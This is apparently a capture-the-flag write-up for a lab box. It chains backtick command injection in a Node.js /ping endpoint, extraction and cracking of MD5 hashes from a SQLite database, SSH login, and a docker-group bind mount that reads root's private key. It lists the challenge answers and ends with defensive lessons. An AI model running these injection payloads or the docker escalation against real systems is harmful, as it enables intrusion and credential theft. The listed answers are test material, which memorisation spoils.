Overview
Four-service target running FTP, SSH, a Node.js Express REST API on 8081, and Apache on a non-standard port 31331. The API's /ping endpoint passes user input directly to exec() without sanitisation, giving immediate RCE as www. From there, the SQLite credential database is read via the same injection vector, MD5 hashes are cracked offline, and SSH login lands in a session where the user is a member of the docker group — a one-liner bind mount escalates to root.
Reconnaissance
| Port | Service | Detail |
|---|---|---|
| 21/tcp | vsftpd 3.0.5 | FTP — nothing useful anonymous |
| 22/tcp | OpenSSH 8.2p1 | Ubuntu 20.04 |
| 8081/tcp | Node.js Express | UltraTech API v0.1.3 |
| 31331/tcp | Apache 2.4.41 | Main website (Ubuntu) |
API Route Enumeration
Gobuster against port 8081 finds exactly two routes: /auth (authentication) and /ping (the vulnerable one). The /ping route is documented in the JS source as a utility that runs the system ping binary against a provided IP — no input validation at all.
gobuster dir -u http://TARGET:8081 -w /usr/share/wordlists/dirb/common.txt -q
# /auth (Status: 200)
# /ping (Status: 200)
Exploitation — Command Injection in /ping
The ip parameter is passed raw into a shell exec call. Backtick subshell syntax executes arbitrary commands and returns their output in the response body:
curl 'http://TARGET:8081/ping?ip=`id`'
# → uid=1001(www) gid=1002(www) groups=1002(www)
Step 2 — SQLite Database Discovery & Extraction
Using the same injection channel to locate and read the credential database:
# Find the database file
curl 'http://TARGET:8081/ping?ip=`find / -name "*.sqlite" 2>/dev/null`'
# → /home/www/api/utech.db.sqlite
# Extract readable strings from binary SQLite
curl 'http://TARGET:8081/ping?ip=`strings /home/www/api/utech.db.sqlite`'
Two credential pairs recovered from the database:
| User | MD5 Hash |
|---|---|
r00t | f357a0c52799563c7c7b76c1e7543a32 |
admin | 0d0ea5111e3c1def594c1684e3b9be84 |
Step 3 — Hash Cracking
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# r00t : n100906
# admin : mrsheafy
Step 4 — SSH Access
ssh r00t@TARGET
# Password: n100906
id
# uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
The docker group membership is the critical finding. Any user in the docker group can launch privileged containers with host bind mounts, effectively owning the host filesystem as root.
Privilege Escalation — Docker Group
A single docker run command mounts the entire host root filesystem into the container and reads root's SSH private key without ever needing the root password:
docker run -v /:/mnt --rm bash cat /mnt/root/.ssh/id_rsa
# -----BEGIN RSA PRIVATE KEY-----
# MIIEogIBA... ← first 9 chars of key body
Why Docker Group = Root
The Docker daemon runs as root. Any user who can invoke docker run can launch a container with --privileged or -v /:/mnt, giving read/write access to the entire host filesystem. This is equivalent to passwordless sudo. GTFOBins covers this extensively — it's not a container escape, it's an intentional design that makes docker group membership a security boundary violation.
Flags & Answers
| Question | Answer |
|---|---|
| Software on port 8081 | Node.js Express framework |
| Non-standard port | 31331 |
| Software on port 31331 | Apache httpd 2.4.41 |
| GNU/Linux distribution | Ubuntu |
| Number of API routes | 2 (/auth and /ping) |
| Database filename | utech.db.sqlite |
| 1st user's password hash | f357a0c52799563c7c7b76c1e7543a32 |
| Password for hash | n100906 |
| First 9 chars of root SSH key | MIIEogIBA |
Vulnerability Summary
| # | Vulnerability | Impact |
|---|---|---|
| 1 | Command injection — /ping?ip=`cmd` | RCE as www |
| 2 | Plaintext MD5 hashes in SQLite, world-readable via RCE | Credential disclosure |
| 3 | r00t in docker group | Full host root access |
Lessons Learned
- Never pass user input to shell exec without sanitisation. Even "internal" APIs accessible only on non-standard ports are in scope. Allowlist IPs with a regex — reject everything else before the shell ever sees it.
- MD5 is not a password hashing algorithm. Use bcrypt, argon2id, or scrypt. MD5 is a checksum function — rockyou cracks it in seconds.
- The docker group is root. Treat membership identically to
sudoers. Only system services that genuinely need it should be in that group — never interactive user accounts.